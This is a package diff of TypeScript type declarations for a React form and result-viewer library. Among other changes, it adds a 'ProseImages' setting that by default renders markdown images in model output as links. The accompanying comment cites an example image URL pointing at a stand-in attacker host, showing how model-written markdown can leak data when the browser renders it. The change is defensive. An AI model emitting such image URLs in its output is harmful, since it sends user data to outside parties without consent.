@pipelex/mthds-form 0.7.0 → 0.9.0

package/dist/react/index.d.ts

@@ -1,40 +1,12 @@
+import { F as FieldEnv } from '../field-renderer-BSU2hMf6.js';
+export { a as FieldRenderer, b as FieldRendererProps } from '../field-renderer-BSU2hMf6.js';
 import * as react from 'react';
 import { ReactNode } from 'react';
-import { RunField, BooleanRunField, DateRunField, EnumRunField, FileRunField, ListRunField, NumberRunField, ObjectRunField, ProseRunField, TextRunField, UnknownRunField, ConceptCategory } from '../core/descriptor.js';
+import { BooleanRunField, DateRunField, EnumRunField, FileRunField, ListRunField, NumberRunField, ObjectRunField, ProseRunField, TextRunField, UnknownRunField, RunField, ConceptCategory } from '../core/descriptor.js';
 import { HtmlContentView } from '../core/native-content.js';
 import '../core/contracts.js';
 import 'mthds/protocol';
 
-/**
- * Ambient state that any field in the tree may need, threaded unchanged through
- * the recursion so containers don't have to re-plumb it for every child.
- */
-interface FieldEnv {
-    disabled?: boolean;
-    /** A file field asks its parent to upload; the parent sets the value later. */
-    onDropFile?: (id: string, file: File) => void;
-    /** Ids currently mid-upload. */
-    uploadingIds?: ReadonlySet<string>;
-    /** Resolve a `pipelex-storage://` URI to a browser-viewable URL (for previews
-     *  of already-stored files). */
-    resolveUrl?: (uri: string) => Promise<string | null>;
-}
-interface FieldRendererProps {
-    field: RunField;
-    value: unknown;
-    onChange: (value: unknown) => void;
-    /** Unique, stable id used for label linkage and upload tracking. */
-    id: string;
-    error?: string;
-    env?: FieldEnv;
-}
-/**
- * The single dispatch point: a normalized `RunField` → the matching control.
- * Object and list fields recurse back through here, so the whole form is one
- * data-driven tree with no per-type branching anywhere else.
- */
-declare function FieldRenderer({ field, value, onChange, id, error, env }: FieldRendererProps): react.JSX.Element;
-
 interface BooleanFieldProps {
     field: BooleanRunField;
     value: boolean | undefined;
@@ -385,11 +357,28 @@ type ResolveUrl = (url: string) => string | undefined;
  * storage is public anyway.
  */
 type ResolveShareUrl = (url: string) => Promise<string | undefined>;
+/**
+ * What a `prose` value's markdown images do — and the default is not to load
+ * them.
+ *
+ * A prose value is MODEL OUTPUT, and `![](https://attacker/collect?…)` in it is
+ * a request the browser makes the moment the result is painted, before anyone
+ * has read a word. Nothing was clicked and nothing was consented to, so the
+ * exfiltration channel is open by default in a view whose whole content is
+ * untrusted. `'link'` closes it: the image renders as a link carrying its alt
+ * text, so nothing the model wrote is lost and the fetch waits for a click.
+ *
+ * `'load'` is the opt-in, for a host that knows where its prose images come
+ * from — a method that composes a report out of its own stored figures, say.
+ * Only `http:` and `https:` are ever painted or linked either way.
+ */
+type ProseImages = 'link' | 'load';
 interface ResultEnv {
     resolveUrl?: ResolveUrl;
     resolveShareUrl?: ResolveShareUrl;
+    proseImages?: ProseImages;
 }
-declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, children, }: ResultEnv & {
+declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, proseImages, children, }: ResultEnv & {
     children: ReactNode;
 }): react.JSX.Element;
 /**
@@ -398,14 +387,17 @@ declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, children, }: R
  * Every file arm calls this rather than reading the context and remembering to
  * apply it: `useResolvedUrl(url)` is the URL to actually use, and a component
  * that forgets to call it is the bug this shape prevents. An unresolvable
- * reference comes back as the reference, so the arms' existing
- * `isViewableUrl` check still decides whether it can be linked or only named.
+ * reference comes back as the reference, so the arms' own `viewableUrl` check
+ * still decides whether it can be linked or only named — and, when it can, what
+ * string they use.
  */
 declare function useResolvedUrl(url: string): string;
 /** For the non-React readers that need the same answer (previewability). */
 declare function useResolveUrl(): ResolveUrl | undefined;
 /** The share-URL minter, when the host supplies one. */
 declare function useResolveShareUrl(): ResolveShareUrl | undefined;
+/** The prose-image policy, defaulted to the safe answer for a host that stated none. */
+declare function useProseImages(): ProseImages;
 
 interface HtmlPreviewProps {
     content: HtmlContentView;
@@ -431,8 +423,14 @@ declare function HtmlPreview({ content, maxHeight, imgSrc, }: HtmlPreviewProps):
 interface MarkdownProps {
     text: string;
     className?: string;
+    /**
+     * What an image in this text does. Defaults to the surrounding
+     * `ResultEnvProvider`'s `proseImages`, and to `'link'` outside one — see
+     * {@link ProseImages} for why the default is not to load.
+     */
+    proseImages?: ProseImages;
 }
-declare function Markdown({ text, className }: MarkdownProps): react.JSX.Element;
+declare function Markdown({ text, className, proseImages }: MarkdownProps): react.JSX.Element;
 
 interface FieldShellProps {
     name: string;
@@ -502,12 +500,20 @@ interface FieldStrings {
     itemsCount: (count: number) => string;
     /** The same badge for a list the method gave an exact count (`Concept[N]`). */
     itemsCountOf: (count: number, total: number) => string;
+    /** What a record's table cell says when none of its fields can name it. */
+    fieldsCount: (count: number) => string;
     uploading: string;
     dropToUpload: string;
     dropOrBrowse: string;
     pasteUrlInstead: string;
     urlPlaceholder: string;
     uploadedFile: string;
+    /**
+     * What names a file carried INSIDE its own URL (a `data:` URL), where a
+     * reference would otherwise be printed: its format and its decoded size. The
+     * string itself is forty thousand characters of base64 and says nothing.
+     */
+    encodedFileSummary: (format: string, bytes: number) => string;
     preview: string;
     removeFileAria: string;
     previewUnavailablePdf: string;
@@ -621,4 +627,4 @@ declare function useFieldPresentation(): FieldPresentation;
  */
 declare function humanizeFieldName(name: string): string;
 
-export { BooleanField, ConceptPill, DEFAULT_FIELD_STRINGS, DateField, DocumentField, EnumField, FieldDomIdProvider, type FieldEnv, type FieldPresentation, FieldPresentationProvider, FieldRenderer, type FieldRendererProps, FieldShell, type FieldStrings, FieldStringsProvider, type FileValue, HtmlPreview, type HtmlPreviewProps, ImageField, JsonView, ListField, Markdown, type MarkdownProps, NumberField, ObjectField, OptionalToggle, ProseField, type ResolveForDownload, type ResolveShareUrl, type ResolveUrl, ResultEnvProvider, ResultField, type ResultFieldProps, StuffViewer, type StuffViewerProps, type StuffViewerView, TextField, UnknownField, downloadStuff, fieldControlClass, humanizeFieldName, useFieldDomId, useFieldPresentation, useFieldStrings, useResolveShareUrl, useResolveUrl, useResolvedUrl };
+export { BooleanField, ConceptPill, DEFAULT_FIELD_STRINGS, DateField, DocumentField, EnumField, FieldDomIdProvider, FieldEnv, type FieldPresentation, FieldPresentationProvider, FieldShell, type FieldStrings, FieldStringsProvider, type FileValue, HtmlPreview, type HtmlPreviewProps, ImageField, JsonView, ListField, Markdown, type MarkdownProps, NumberField, ObjectField, OptionalToggle, ProseField, type ProseImages, type ResolveForDownload, type ResolveShareUrl, type ResolveUrl, ResultEnvProvider, ResultField, type ResultFieldProps, StuffViewer, type StuffViewerProps, type StuffViewerView, TextField, UnknownField, downloadStuff, fieldControlClass, humanizeFieldName, useFieldDomId, useFieldPresentation, useFieldStrings, useProseImages, useResolveShareUrl, useResolveUrl, useResolvedUrl };